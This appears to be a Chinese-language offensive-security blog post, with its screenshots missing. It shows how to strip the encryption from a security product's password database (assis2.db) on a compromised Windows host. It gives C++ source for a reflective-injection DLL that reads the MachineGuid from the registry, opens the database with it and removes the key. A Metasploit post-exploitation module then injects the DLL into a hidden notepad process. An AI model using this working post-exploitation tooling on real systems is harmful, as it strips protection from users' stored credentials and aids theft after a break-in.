前言

数据库解密

Untitled

Untitled

Untitled

编写解密DLL程序

Untitled

Untitled

SQLITE_HAS_CODEC=1
CODEC_TYPE=CODEC_TYPE_AES128
SQLITE_CORE
THREADSAFE
SQLITE_SECURE_DELETE
SQLITE_SOUNDEX
SQLITE_ENABLE_COLUMN_METADATA

Untitled

# define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
# define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN
# define _CRT_SECURE_NO_DEPRECATE
# ifndef SQLITE_HAS_CODEC
# define SQLITE_HAS_CODEC
# endif
# include "ReflectiveLoader.c"

# pragma comment(lib,"wxsqlite3.lib")  // wxsqlite3需要
extern "C" HINSTANCE hAppInstance;
EXTERN_C IMAGE_DOS_HEADER __ImageBase;

# include <windows.h>
# include <tchar.h>
# include <vector>
# include "wx/wxsqlite3.h"
# include "wx/wxsqlite3opt.h"
# include "wx/sqlite3mc_amalgamation.h"
# define  SQLITE3_STATIC
using namespace std;

string RegQueryValueApi(HKEY hKey, const char* lpSubKeyG, const char* KeyValueG)
{

    HKEY hKeyResult = NULL;
    HKEY hKeyResultG = NULL;
    CHAR szLocation[MAX_PATH] = { '\\0' };
    CHAR szLocationG[MAX_PATH] = { '\\0' };
    DWORD dwSize = 0;
    DWORD dwSizeG = 0;
    DWORD dwDataType = 0;
    DWORD dwDataTypeG = 0;
    LONG ret = 0;
    LONG retG = 0;
    string value;

    if (ERROR_SUCCESS == RegOpenKeyExA(hKey, lpSubKeyG, 0, KEY_QUERY_VALUE | KEY_WOW64_64KEY, &hKeyResultG))
    {
        retG = RegQueryValueExA(hKeyResultG, KeyValueG, 0, &dwDataTypeG, NULL, &dwSizeG);
        retG = RegQueryValueExA(hKeyResultG, KeyValueG, 0, &dwDataTypeG, (LPBYTE)&szLocationG, &dwSizeG);
        if (ERROR_SUCCESS == ret)
        {
            value.append(szLocationG);
        }
        RegCloseKey(hKeyResultG);
    }

    return value;
}
int ExecutePayload()
{
    // 读取MachineGuid
    HKEY hKey = HKEY_LOCAL_MACHINE;
    const char* lpSubKeyG = "SOFTWARE\\\\MICROSOFT\\\\CRYPTOGRAPHY";
    const char* KeyValueG = "MachineGuid";
    string szMachineGuid;
    szMachineGuid = RegQueryValueApi(hKey, lpSubKeyG, KeyValueG);
    int ret = 0;
    sqlite3* db = 0;
    // 打开数据库
    ret = sqlite3_open("<assis2.db 的路径>", &db);
    // 解密第一层密码
    sqlite3_key(db, szMachineGuid.data(), 36);
    // 清除原来的密码
    sqlite3_rekey(db, NULL, 0);
    sqlite3_close(db);
    db = 0;
    return 0;
}

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
    BOOL bReturnValue = TRUE;

    switch (dwReason)
    {
    case DLL_QUERY_HMODULE:
        if (lpReserved != NULL)
            *(HMODULE *)lpReserved = hAppInstance;
        break;
    case DLL_PROCESS_ATTACH:
        ExecutePayload();
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return bReturnValue;
}

DLL反射注入

def inject_dll(process, dll_path)
    library_path = ::File.expand_path(dll_path)
    exploit_mem, offset = inject_dll_into_process(process, library_path)
    [exploit_mem, offset]
end

def remove_password
    print_status('==> Removing database password...')
    dll_path = File.join(Msf::Config.data_directory, 'post', '360', 'remove_password.dll') #  data目录下的DLL文件路径
    notepad_pathname = get_notepad_pathname(ARCH_X86, client.sys.config.getenv('windir'), client.arch) #  获取32位的记事本路径
    notepad_process = client.sys.process.execute(notepad_pathname, nil, 'Hidden' => true) #  隐藏执行记事本
    hprocess = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
    exploit_mem, offset = inject_dll(hprocess, dll_path) #  注入DLL到进程
    hprocess.thread.create(exploit_mem + offset) #  创建线程调用DLL
    sleep(5)
    client.sys.process.kill(hprocess.pid) #  关闭进程
end

操作演示

Untitled

Untitled

总结

参考

https://github.com/stephenfewer/ReflectiveDLLInjection

https://payloads.online/archivers/2020-03-02/1

Powered by Kali-Team